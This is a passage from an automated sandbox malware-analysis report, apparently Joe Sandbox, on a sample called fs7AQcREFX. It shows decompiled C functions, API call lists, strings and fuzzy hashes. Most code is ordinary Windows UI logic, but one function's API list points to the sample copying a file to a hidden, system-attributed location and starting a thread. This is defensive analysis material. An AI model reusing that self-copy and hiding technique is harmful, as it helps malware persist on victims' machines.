												 *((char*)(_t74 - 0x141)) = 1;
												goto L20;
											}
										}
									}
								}
							}
						}
					}
					L23:
					if( *((char*)(_t74 - 0x141)) != 0) {
						_t70 =  *(_t74 - 0x148);
						if(_t70 == 2) {
							PostMessageA( *(_t72 + 4), 0x448, 0xffffffff, 0);
							E00101570(_t72, _t70);
						}
						_t67 =  *(_t74 - 0x150) & 0x0000ffff;
						 *( *(_t74 - 0x158)) = 1;
						 *(_t74 - 0x14c) = (_t70 & 0x0000ffff) << 0x00000010 |  *(_t74 - 0x150) & 0x0000ffff;
					}
					_pop(_t69);
					_pop(_t73);
					_pop(_t59);
					return E001059E6( *(_t74 - 0x14c), _t59,  *(_t74 - 4) ^ _t74, _t67, _t69, _t73);
					L20:
					_t58 = _t58 + 1;
				} while (_t58 <  *((intOrPtr*)(_t74 - 0x154)));
				goto L23;
			}

0x000fe95b
0x000fe960
0x000fe960
0x000fe971
0x000fe987
0x000fe991
0x000fe996
0x000fe999
0x000fe9a0
0x000fe9b2
0x000fe9cd
0x000fe9cd
0x000fe9b4
0x000fe9b4
0x000fe9bd
0x00000000
0x00000000
0x000fe9bd
0x000fe9e5
0x000fe9ef
0x000fe9f9
0x000fea07
0x00000000
0x000fea19
0x000fea19
0x000fea21
0x00000000
0x000fea2b
0x000fea2b
0x000fea30
0x00000000
0x000fea32
0x000fea32
0x000fea36
0x00000000
0x000fea38
0x000fea38
0x000fea3e
0x000fea44
0x000fea48
0x00000000
0x000fea4a
0x00000000
0x000fea4a
0x00000000
0x000fea48
0x000fea4f
0x00000000
0x000fea51
0x000fea51
0x000fea67
0x000fea79
0x00000000
0x000fea7b
0x000fea82
0x000feaa3
0x000fea84
0x000fea84
0x000fea87
0x000fea8d
0x00000000
0x000fea8d
0x000fea82
0x000fea79
0x000fea4f
0x000fea36
0x000fea30
0x000fea21
0x000feaad
0x000feab4
0x000feaba
0x000feac3
0x000fead2
0x000feada
0x000feada
0x000feadf
0x000feaf4
0x000feafa
0x000feafa
0x000fec83
0x000fec84
0x000fec87
0x000fec90
0x000fea94
0x000fea94
0x000fea95
0x00000000

APIs

_memset.LIBCMT ref: 000FE971
_memset.LIBCMT ref: 000FE991
GetVersionExA.KERNEL32(?,?,?,?,?,?,?), ref: 000FE9AA
GetMenuItemInfoA.USER32 ref: 000FE9FF
CharNextA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000FEA3E
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000FEA60
CharLowerA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 000FEA6D
PostMessageA.USER32 ref: 000FEAD2
SendMessageA.USER32(?,0000044E,?,?), ref: 000FEB31
PostMessageA.USER32 ref: 000FEB45
IsWindowEnabled.USER32(?), ref: 000FEB79
GetClientRect.USER32 ref: 000FEBAE
SendMessageA.USER32(?,0000041D,00000000,?), ref: 000FEBD6
SendMessageA.USER32(?,00000417,00000000,?), ref: 000FEC0F
PostMessageA.USER32 ref: 000FEC58
SendMessageA.USER32(?,00000448,00000000,00000000), ref: 000FEC6F
MessageBeep.USER32(00000000), ref: 000FEC74

Strings

Z, xrefs: 000FE9C4
d, xrefs: 000FE9E5
?, xrefs: 000FE9EF
,, xrefs: 000FE9CD

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$Send$CharPost$Lower_memset$BeepClientEnabledInfoItemMenuNextRectVersionWindow
String ID: ,$?$Z$d
API String ID: 735944419-3748737801
Opcode ID: 79cd9db98d34486ab79f9ccfb406fe30ef0989a5b0a51cca137912d57eda4763
Instruction ID: 3dccd22f36aa1bcfcabe1b3889b62f38b3a5af27556886e2c42a354d458737b5
Opcode Fuzzy Hash: 79cd9db98d34486ab79f9ccfb406fe30ef0989a5b0a51cca137912d57eda4763
Instruction Fuzzy Hash: D531A030A0026C9BEB71CB10CC857FDB7B5BB05700F1440D9E249A76A1D7B5AE80DF62

Uniqueness

Uniqueness Score: -1.00%

Function 025228E7 Relevance: 16.6, APIs: 11, Instructions: 116stringfilethreadCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 0252290F
lstrlen.KERNEL32(00000000), ref: 02522921
GetEnvironmentVariableA.KERNEL32(0400C230,?,00000104), ref: 02522962
wnsprintfA.SHLWAPI ref: 02522984
lstrcmpi.KERNEL32(00000104,?), ref: 02522998
CopyFileA.KERNEL32(00000104,?,00000000), ref: 025229B7
SetFileAttributesA.KERNEL32(?,00000006), ref: 025229C6
lstrcpy.KERNEL32(00000104,?), ref: 025229D7
lstrcpy.KERNEL32(00000000,?), ref: 02522A10
lstrcpy.KERNEL32(-00000208,00000000), ref: 02522A24
CreateThread.KERNEL32(00000000,00000000,040012D0,00000000,00000000,00000000), ref: 02522A3B

Part of subcall function 0252AF87: GetProcessHeap.KERNEL32(00000000,00000000), ref: 0252AF96
Part of subcall function 0252AF87: HeapFree.KERNEL32(00000000), ref: 0252AF9D

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateEnvironmentFreeProcessThreadVariablelstrcmpiwnsprintf
String ID:
API String ID: 925599630-0
Opcode ID: d911199f599f580df0074c1148925606424698d1feabc22edd8c6c2de8748874
Instruction ID: 267287f9936cf7febdaf42e941f39457e7f9baaa34276460980a426a91ae900f
Opcode Fuzzy Hash: d911199f599f580df0074c1148925606424698d1feabc22edd8c6c2de8748874
Instruction Fuzzy Hash: F7412175904218ABEB14DFA4D849BDA7BB5FF49704F008299FA09A62C0D778DBC4CF91

Uniqueness

Uniqueness Score: -1.00%

Function 000F7CE0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 256
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E000F7CE0(struct HWND__* __ecx) {
				signed int _v8;
				char _v140;
				struct HWND__* _v144;
				char _v148;
				int _v152;
				void* _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t79;
				void* _t82;
				struct HWND__* _t87;
				struct HWND__* _t100;
				char _t109;
				signed short* _t110;
				signed short* _t111;
				char _t117;
				signed short _t129;
				signed short _t130;
				signed int* _t153;
				signed int _t160;
				signed short _t161;
				signed int* _t170;
				signed int _t173;
				signed short _t174;
				struct HWND__* _t178;
				struct HWND__* _t179;
				signed int _t192;
				signed int _t199;
				signed int _t202;

				_t79 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t79 ^ _t202;
				_t179 = __ecx;
				_t177 = __ecx + 0x54;
				_v144 = __ecx;
				_v156 =  *((intOrPtr*)(__ecx + 4));
				_v160 = __ecx + 0x54;
				_t82 = E000F6430();
				_t208 =  *((intOrPtr*)(_t82 + 0x30));
				if( *((intOrPtr*)(_t82 + 0x30)) == 0) {
					 *(E000F6430() + 0x30) = "ToolbarWindow32";
				}
				_t87 = E00104510(_t177, E00103FF0(E000F6430(), 0x170c04, _t177 + 0x40) & 0x0000ffff, _t179, _v156, 0x15ad10, 0, 0x5600184c, 0, 0);
				E000FBB40(GetMenu( *(_t179 + 4)), _v156, _t177);
				E000FDA60(_t177, 0x80);
				SetMenu( *(_t179 + 4), 0);
				_v156 = E000FA4A0(0xe800,  *(_t179 + 4), 0x80);
				 *((intOrPtr*)(_t179 + 0x24)) = E000FD050( *(_t179 + 4));
				E000FD0D0(_t87, _t95, 0);
				_t178 = _v144;
				E000FD0D0(_v156,  *(_t178 + 0x24), 1);
				_v140 = 0;
				LoadStringA( *0x170c0c, 0xe001,  &_v140, 0x80);
				_t100 =  *(_t178 + 4);
				__imp__#6(0x56000100,  &_v140, _t100, 0xe801);
				 *(_t178 + 0x28) = _t100;
				E001042F0(_t100, _t178 + 0x224);
				_v152 = 0;
				_v148 = 0xefdb;
				_v144 = 0xefdc;
				E000FAA10(_t178 + 0x224,  &_v152, _t208);
				_v144 =  *(_t178 + 4);
				if( *(E000F6BB0() + 0x30) == 0) {
					 *(E000F6BB0() + 0x30) = "RichEdit20A";
				}
				 *((intOrPtr*)(_t178 + 0x2c)) = E00103ED0(_t178 + 0x250, E00103FF0(E000F6BB0(), 0x170c04, _t178 + 0x270) & 0x0000ffff, _v144, 0x15ad10, 0, 0x513081c4, 0x200, 0);
				_t109 = _v156;
				if(_t109 != 0) {
					_v148 = _t109;
					_v144 = 8;
					E000FA990( &_v148, _t178 + 0x3c);
				}
				_t153 =  *(_t178 + 0x4c);
				_t110 =  *(_t178 + 0x48);
				if(_t153 == 0) {
					L15:
					_t170 =  *(_t178 + 0x4c);
					_t111 =  *(_t178 + 0x48);
					if(_t170 == 0) {
						L25:
						_t141 = SendMessageA;
						SendMessageA( *(_t178 + 4), 0x7e8, 0, 0);
						 *((intOrPtr*)(_t178 + 0x528)) = E000FA4A0(0xe801,  *(_t178 + 4), 0x6c);
						E000FD0D0(_t114,  *(_t178 + 0x24), 1);
						_t172 =  *(_t178 + 0x24);
						SendMessageA( *(_t178 + 0x24), 0x423, 2, 0);
						_t117 =  *((intOrPtr*)(_t178 + 0x528));
						if(_t117 != 0) {
							_v148 = _t117;
							_t141 =  &_v148;
							_v144 = 8;
							E000FA990( &_v148, _t178 + 0x3c);
						}
						E000FB100(GetSubMenu(GetSubMenu( *(E000FBB30( &_v160, _v160)), 0), 0xb), _t178 + 0x108);
						E000FB460(_t178 + 0x108);
						return E001059E6(0, _t141, _v8 ^ _t202, _t172, _t178, _t178 + 0x108);
					}
					_t160 =  *_t111 & 0x0000ffff;
					if(_t160 == 0xffff) {
						goto L25;
					}
					while(0xe801 != _t160) {
						_t160 = _t111[2] & 0x0000ffff;
						_t111 =  &(_t111[2]);
						_t170 =  &(_t170[2]);
						if(_t160 != 0xffff) {
							continue;
						}
						goto L25;
					}
					_t161 =  *_t170 & 0x0000ffff;
					__eflags = _t161 & 0x00000200;
					if((_t161 & 0x00000200) == 0) {
						_t192 = (_t111[1] | _t161) & 0x0000fbff | 0x00000200;
						__eflags = _t192;
						 *_t170 = _t192;
					}
					_t129 = _t111[1] & 0x0000ffff;
					__eflags =  *_t170 & _t129;
					if(( *_t170 & _t129) != 0) {
						_t63 = _t178 + 0x50;
						 *_t63 =  *(_t178 + 0x50) | _t129;
						__eflags =  *_t63;
					}
					goto L25;
				} else {
					_t173 =  *_t110 & 0x0000ffff;
					if(_t173 == 0xffff) {
						goto L15;
					}
					while(0xe800 != _t173) {
						_t173 = _t110[2] & 0x0000ffff;
						_t110 =  &(_t110[2]);
						_t153 =  &(_t153[2]);
						if(_t173 != 0xffff) {
							continue;
						}
						goto L15;
					}
					_t174 =  *_t153 & 0x0000ffff;
					__eflags = _t174 & 0x00000200;
					if((_t174 & 0x00000200) == 0) {
						_t199 = (_t110[1] | _t174) & 0x0000fbff | 0x00000200;
						__eflags = _t199;
						 *_t153 = _t199;
					}
					_t130 = _t110[1] & 0x0000ffff;
					__eflags =  *_t153 & _t130;
					if(( *_t153 & _t130) != 0) {
						_t52 = _t178 + 0x50;
						 *_t52 =  *(_t178 + 0x50) | _t130;
						__eflags =  *_t52;
					}
					goto L15;
				}
			}

0x000f7ce9
0x000f7cf0
0x000f7cf5
0x000f7cfb
0x000f7cfe
0x000f7d04
0x000f7d0a
0x000f7d10
0x000f7d15
0x000f7d19
0x000f7d20
0x000f7d20
0x000f7d5a
0x000f7d6d
0x000f7d78
0x000f7d83
0x000f7d9f
0x000f7daa
0x000f7db2
0x000f7db7
0x000f7dc9
0x000f7de9
0x000f7df0
0x000f7df6
0x000f7e0b
0x000f7e19
0x000f7e1c
0x000f7e29
0x000f7e33
0x000f7e3d
0x000f7e47
0x000f7e4f
0x000f7e5e
0x000f7e65
0x000f7e65
0x000f7eaf
0x000f7eb2
0x000f7eba
0x000f7ebc
0x000f7ed0
0x000f7ed7
0x000f7ed7
0x000f7edc
0x000f7edf
0x000f7ee4
0x000f7f45
0x000f7f45
0x000f7f48
0x000f7f4d
0x000f7fb2
0x000f7fb5
0x000f7fc5
0x000f7fdf
0x000f7fe5
0x000f7fea
0x000f7ffa
0x000f7ffc
0x000f8004
0x000f8006
0x000f8011
0x000f801a
0x000f8021
0x000f8021
0x000f8051
0x000f8057
0x000f806e
0x000f806e
0x000f7f4f
0x000f7f5a
0x00000000
0x00000000
0x000f7f60
0x000f7f6a
0x000f7f6e
0x000f7f76
0x000f7f7c
0x00000000
0x00000000
0x00000000
0x000f7f7e
0x000f7f80
0x000f7f83
0x000f7f89
0x000f7f9f
0x000f7f9f
0x000f7fa2
0x000f7fa2
0x000f7fa5
0x000f7fa9
0x000f7fac
0x000f7fae
0x000f7fae
0x000f7fae
0x000f7fae
0x00000000
0x000f7ee6
0x000f7ee6
0x000f7ef1
0x00000000
0x00000000
0x000f7ef3
0x000f7efd
0x000f7f01
0x000f7f09
0x000f7f0f
0x00000000
0x00000000
0x00000000
0x000f7f11
0x000f7f13
0x000f7f16
0x000f7f1c
0x000f7f32
0x000f7f32
0x000f7f35
0x000f7f35
0x000f7f38
0x000f7f3c
0x000f7f3f
0x000f7f41
0x000f7f41
0x000f7f41
0x000f7f41
0x00000000
0x000f7f3f

APIs

GetMenu.USER32(?), ref: 000F7D65
SetMenu.USER32(?,00000000,00000080), ref: 000F7D83
LoadStringA.USER32 ref: 000F7DF0
#6.COMCTL32(56000100,00000000,?,0000E801), ref: 000F7E0B

Part of subcall function 00103ED0: GetCurrentProcess.KERNEL32(00000000,0000000D), ref: 00103F0E
Part of subcall function 00103ED0: FlushInstructionCache.KERNEL32(00000000), ref: 00103F15
Part of subcall function 00103ED0: GetCurrentThreadId.KERNEL32 ref: 00103F39
Part of subcall function 00103ED0: EnterCriticalSection.KERNEL32(00170C68), ref: 00103F47
Part of subcall function 00103ED0: LeaveCriticalSection.KERNEL32(00170C68), ref: 00103F61
Part of subcall function 00103ED0: CreateWindowExA.USER32 ref: 00103FBC

SendMessageA.USER32(?,000007E8,00000000,00000000), ref: 000F7FC5
SendMessageA.USER32(?,00000423,00000002,00000000), ref: 000F7FFA
GetSubMenu.USER32 ref: 000F8042
GetSubMenu.USER32 ref: 000F8047

Part of subcall function 000FA990: __recalloc.LIBCMT ref: 000FA9CE

Strings

ToolbarWindow32, xrefs: 000F7D20

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Menu$CriticalCurrentMessageSectionSend$CacheCreateEnterFlushInstructionLeaveLoadProcessStringThreadWindow__recalloc
String ID: ToolbarWindow32
API String ID: 3214561950-4104838417
Opcode ID: 6aad78fd712e9076e303051a878283e66bccfb3f905a96ca233aef8d7437afc4
Instruction ID: db7bbd3aecd25648a1fabe960ab35293d8c215d0fdccffd20972412704014236
Opcode Fuzzy Hash: 6aad78fd712e9076e303051a878283e66bccfb3f905a96ca233aef8d7437afc4
Instruction Fuzzy Hash: 8BA1B475A002199FEB64DF34CC45BB6B3B4BF48700F4081A9F64DA7A82DB74AD84DB91

Uniqueness

Uniqueness Score: -1.00%

Function 000F3FE0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 249
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E000F3FE0(unsigned int __ecx, unsigned int __edx, CHAR* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v268;
				char _v1314;
				short _v1316;
				char _v2356;
				CHAR* _v2360;
				unsigned int _v2364;
				unsigned int _v2368;
				char _v2372;
				intOrPtr _v2376;
				intOrPtr _v2380;
				intOrPtr _v2384;
				intOrPtr _v2388;
				intOrPtr _v2392;
				struct _CRITICAL_SECTION _v2396;
				long _v2400;
				long _v2404;
				long _v2408;
				char _v2412;
				CHAR* _v2416;
				void* _v2428;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				unsigned int _t77;
				long _t80;
				int _t81;
				void* _t83;
				unsigned int _t89;
				void* _t92;
				signed int _t93;
				int _t99;
				void* _t101;
				void* _t105;
				unsigned int _t107;
				void* _t108;
				void* _t115;
				signed int _t124;
				CHAR* _t126;
				void* _t145;
				unsigned int _t151;
				void* _t154;
				void* _t157;
				signed int _t158;
				void* _t159;
				void* _t161;
				void* _t162;
				void* _t163;

				_t144 = __edx;
				_t69 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t69 ^ _t158;
				_t126 = 0;
				_t151 = __ecx;
				_v2416 = _a4;
				_t128 =  &_v2396;
				_v2368 = __ecx;
				_t152 = __edx;
				_v2412 = 0x112cf0;
				_v2408 = 0;
				_v2404 = 0;
				_v2400 = 0;
				_v2396 = 0;
				_v2392 = 0;
				_v2388 = 0;
				_v2384 = 0;
				_v2380 = 0;
				_v2376 = 0;
				_v2372 = 0;
				if(InitializeCriticalSectionAndSpinCount( &_v2396, 0) != 0) {
					L5:
					_v2372 = 1;
					if(_t152 != _t126) {
						_t121 =  *_t152;
						if( *_t152 != _t126) {
							do {
								E000F2050(_t128,  *((intOrPtr*)(_t152 + 4)),  &_v2412, _t121,  *((intOrPtr*)(_t152 + 4)));
								_t121 =  *(_t152 + 8);
								_t152 = _t152 + 8;
							} while (_t121 != _t126);
						}
					}
					_t145 =  *_t151;
					_t144 =  *(_t145 + 0x14);
					_t152 =  *( *(_t145 + 0x14))( &_v2412);
					if(_t152 < _t126) {
						L12:
						E000F1F50();
						_t77 = _t152;
					} else {
						_v2360 = _t126;
						_t126 =  *0x170c08;
						_t80 = GetModuleFileNameA(_t126,  &_v268, 0x104);
						if(_t80 != 0) {
							if(_t80 != 0x104) {
								_t133 =  &_v268;
								_t81 = lstrlenA( &_v268);
								_t144 =  &_v2364;
								_v2364 = _t81 + 1;
								_t83 = E000F1000(_t81 + 1,  &_v2364,  &_v2364);
								_t161 = _t159 + 4;
								if(_t83 < 0) {
									L21:
									_t152 =  &_v2360;
									E000FA200( &_v2360);
									E000F1F50();
									_t77 = 0x8007000e;
								} else {
									_t151 = _v2364;
									if(_t151 > 0x400) {
										L19:
										_t154 = E000FA1D0(_t151, _t133, _t151,  &_v2360);
									} else {
										_t115 = E000F1030( &_v268,  &_v2364, _t151);
										_t161 = _t161 + 4;
										if(_t115 == 0) {
											goto L19;
										} else {
											E0010ACA0(_t151);
											_t154 = _t161;
										}
									}
									_t144 = _t151 >> 1;
									_t89 = E000F10E0( &_v268, _t151 >> 1, _t154, 3);
									_v2368 = _t89;
									if(_t89 != 0) {
										E000F1620(_t89,  &_v2356, 0x208);
										if(_t126 == 0 || _t126 == GetModuleHandleA(0)) {
											_t144 = 0x22;
											_v1316 = 0x22;
											_t92 = E000F1140( &_v2356,  &_v1314);
											_t161 = _t161 + 4;
											if(_t92 != 0) {
												_t93 = lstrlenW( &_v1316);
												 *((short*)(_t158 + _t93 * 2 - 0x520)) = 0x22;
												_t144 =  &_v1316;
												_t137 = 0;
												_push( &_v1316);
												 *((short*)(_t158 + _t93 * 2 - 0x51e)) = 0;
												_push(L"Module");
												_push( &_v2412);
												goto L28;
											} else {
												_t152 =  &_v2360;
												E000FA200( &_v2360);
												E000F1F50();
												_t77 = 0x80004005;
											}
										} else {
											_push( &_v2356);
											_push(L"Module");
											_t137 =  &_v2412;
											_push( &_v2412);
											L28:
											_t151 = E000F2050(_t137, _t144);
											if(_t151 < 0) {
												L41:
												_t152 =  &_v2360;
												E000FA200( &_v2360);
												goto L42;
											} else {
												_t144 =  &_v2412;
												_t151 = E000F2050( &_v2356,  &_v2412,  &_v2412, L"Module_Raw",  &_v2356);
												if(_t151 < 0) {
													goto L41;
												} else {
													_t126 = _v2416;
													if(_t126 == 0) {
														goto L21;
													} else {
														_t99 = lstrlenA(_t126);
														_t140 =  &_v2364;
														_v2364 = _t99 + 1;
														_t101 = E000F1000(_t99 + 1,  &_v2412,  &_v2364);
														_t162 = _t161 + 4;
														if(_t101 < 0) {
															goto L21;
														} else {
															_t151 = _v2364;
															if(_t151 > 0x400) {
																L35:
																_t157 = E000FA1D0(_t151, _t140, _t151,  &_v2360);
															} else {
																_t108 = E000F1030( &_v2364, _t144, _t151);
																_t163 = _t162 + 4;
																if(_t108 == 0) {
																	goto L35;
																} else {
																	E0010ACA0(_t151);
																	_t157 = _t163;
																}
															}
															_t144 = _t151 >> 1;
															_t105 = E000F10E0(_t126, _t151 >> 1, _t157, 3);
															_t141 = _t105;
															if(_t105 == 0) {
																goto L21;
															} else {
																_t144 = _v2368;
																_push(_v2368);
																_push( &_v2412);
																if(_a8 == 0) {
																	_t107 = E000F28F0(_t141, _t144);
																} else {
																	_t107 = E000F2610(_t141, _t144);
																}
																_t151 = _t107;
																goto L41;
															}
														}
													}
												}
											}
										}
									} else {
										goto L21;
									}
								}
							} else {
								_t152 =  &_v2360;
								E000FA200( &_v2360);
								E000F1F50();
								_t77 = 0x8007007a;
							}
						} else {
							_t152 = E000F13E0();
							goto L12;
						}
					}
				} else {
					_t124 = GetLastError();
					if(_t124 > 0) {
						_t124 = _t124 & 0x0000ffff | 0x80070000;
					}
					_t151 = _t124;
					if(_t151 < _t126) {
						L42:
						E000F1F50();
						_t77 = _t151;
					} else {
						_t151 = _v2368;
						goto L5;
					}
				}
				return E001059E6(_t77, _t126, _v8 ^ _t158, _t144, _t151, _t152);
			}

0x000f3fe0
0x000f3fe9
0x000f3ff0
0x000f3ff9
0x000f3ffb
0x000f3ffd
0x000f4006
0x000f400d
0x000f4013
0x000f4015
0x000f401f
0x000f4025
0x000f402b
0x000f4031
0x000f4037
0x000f403d
0x000f4043
0x000f4049
0x000f404f
0x000f4055
0x000f4063
0x000f4089
0x000f4089
0x000f4092
0x000f4094
0x000f4098
0x000f40a0
0x000f40ac
0x000f40b1
0x000f40b4
0x000f40b7
0x000f40a0
0x000f4098
0x000f40bb
0x000f40bd
0x000f40cb
0x000f40cf
0x000f40fb
0x000f4101
0x000f4106
0x000f40d1
0x000f40dc
0x000f40e2
0x000f40ea
0x000f40f2
0x000f4112
0x000f4134
0x000f413b
0x000f4141
0x000f4149
0x000f414f
0x000f4154
0x000f4159
0x000f41ab
0x000f41ab
0x000f41b1
0x000f41bc
0x000f41c1
0x000f415b
0x000f415b
0x000f4167
0x000f4181
0x000f418e
0x000f4169
0x000f416a
0x000f416f
0x000f4174
0x00000000
0x000f4176
0x000f4178
0x000f417d
0x000f417d
0x000f4174
0x000f4194
0x000f419c
0x000f41a1
0x000f41a9
0x000f41d6
0x000f41dd
0x000f4206
0x000f4212
0x000f4219
0x000f421e
0x000f4223
0x000f424c
0x000f4257
0x000f425f
0x000f4265
0x000f4267
0x000f4268
0x000f4270
0x000f427b
0x00000000
0x000f4225
0x000f4225
0x000f422b
0x000f4236
0x000f423b
0x000f423b
0x000f41eb
0x000f41f1
0x000f41f2
0x000f41f7
0x000f41fd
0x000f427c
0x000f4281
0x000f4285
0x000f434e
0x000f434e
0x000f4354
0x00000000
0x000f428b
0x000f4297
0x000f42a3
0x000f42a7
0x00000000
0x000f42ad
0x000f42ad
0x000f42b5
0x00000000
0x000f42bb
0x000f42bc
0x000f42c2
0x000f42ca
0x000f42d0
0x000f42d5
0x000f42da
0x00000000
0x000f42e0
0x000f42e0
0x000f42ec
0x000f4306
0x000f4313
0x000f42ee
0x000f42ef
0x000f42f4
0x000f42f9
0x00000000
0x000f42fb
0x000f42fd
0x000f4302
0x000f4302
0x000f42f9
0x000f4319
0x000f431d
0x000f4322
0x000f4326
0x00000000
0x000f432c
0x000f4330
0x000f433c
0x000f433d
0x000f433e
0x000f4347
0x000f4340
0x000f4340
0x000f4340
0x000f434c
0x00000000
0x000f434c
0x000f4326
0x000f42da
0x000f42b5
0x000f42a7
0x000f4285
0x00000000
0x00000000
0x00000000
0x000f41a9
0x000f4114
0x000f4114
0x000f411a
0x000f4125
0x000f412a
0x000f412a
0x000f40f4
0x000f40f9
0x00000000
0x000f40f9
0x000f40f2
0x000f4065
0x000f4065
0x000f406d
0x000f4074
0x000f4074
0x000f4079
0x000f407d
0x000f4359
0x000f435f
0x000f4364
0x000f4083
0x000f4083
0x00000000
0x000f4083
0x000f407d
0x000f437c

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 000F405B
GetLastError.KERNEL32 ref: 000F4065
GetModuleFileNameA.KERNEL32(000F0000,?,00000104), ref: 000F40EA
lstrlenA.KERNEL32(?), ref: 000F413B
GetModuleHandleA.KERNEL32(00000000), ref: 000F41E1
lstrlenW.KERNEL32(?), ref: 000F424C

Part of subcall function 000FA1D0: _malloc.LIBCMT ref: 000FA1DE

Part of subcall function 000F28F0: lstrlenW.KERNEL32(00000000,1F9A9BDF,?,00000000,?,?,000F434C,00112CF0,?), ref: 000F292E
Part of subcall function 000F28F0: lstrlenW.KERNEL32(REGISTRY,?,000F434C,00112CF0,?), ref: 000F2999

lstrlenA.KERNEL32(?,00112CF0,Module_Raw,?,00112CF0,Module,?), ref: 000F42BC

Strings

Module_Raw, xrefs: 000F4292
Module, xrefs: 000F41F2, 000F4270

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$Module$CountCriticalErrorFileHandleInitializeLastNameSectionSpin_malloc
String ID: Module$Module_Raw
API String ID: 2055072790-3885325121
Opcode ID: e23aa9d62ef8b3854103024361345c4d9c35adc591b82a97de348dcc62008eb9
Instruction ID: 5fb340b4d88bd2f7078bc855558f204ab103cf671e1671e08e12c56e6809a8cf
Opcode Fuzzy Hash: e23aa9d62ef8b3854103024361345c4d9c35adc591b82a97de348dcc62008eb9
Instruction Fuzzy Hash: 2D916D71A0122D8BEB60DB24CC817FF73B5AF94340F0541A4EA09A7652EB719EC5DF81

Uniqueness

Uniqueness Score: -1.00%

Function 000F93A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 125
windowCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E000F93A0(struct HWND__* __edx, intOrPtr __edi, void* __eflags) {
				signed int _v8;
				struct tagRECT _v24;
				struct HWND__* _v28;
				void* __ebx;
				void* __esi;
				signed int _t36;
				intOrPtr _t39;
				void* _t62;
				intOrPtr _t66;
				intOrPtr _t79;
				void* _t85;
				intOrPtr _t86;
				signed int _t91;

				_t84 = __edi;
				_t78 = __edx;
				_t36 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t36 ^ _t91;
				if(E000F8E40(__edx, __edi) != 0) {
					__eflags = __edi;
					if(__edi == 0) {
						_t86 = 0;
						__eflags = 0;
					} else {
						_t86 = __edi + 0x34;
					}
					_t39 =  *((intOrPtr*)(_t84 + 0x530));
					_t66 =  *((intOrPtr*)(_t84 + 0x4b8));
					_t79 =  *((intOrPtr*)(_t84 + 0x4c0));
					__eflags =  *((intOrPtr*)(_t84 + 0x4ec));
					if( *((intOrPtr*)(_t84 + 0x4ec)) != 0) {
						 *((intOrPtr*)(_t84 + 0x4ec)) = 0;
					}
					 *((intOrPtr*)(_t84 + 0x4ec)) = _t66;
					 *((intOrPtr*)(_t84 + 0x4e8)) = _t86;
					 *((intOrPtr*)(_t84 + 0x4f4)) = _t79;
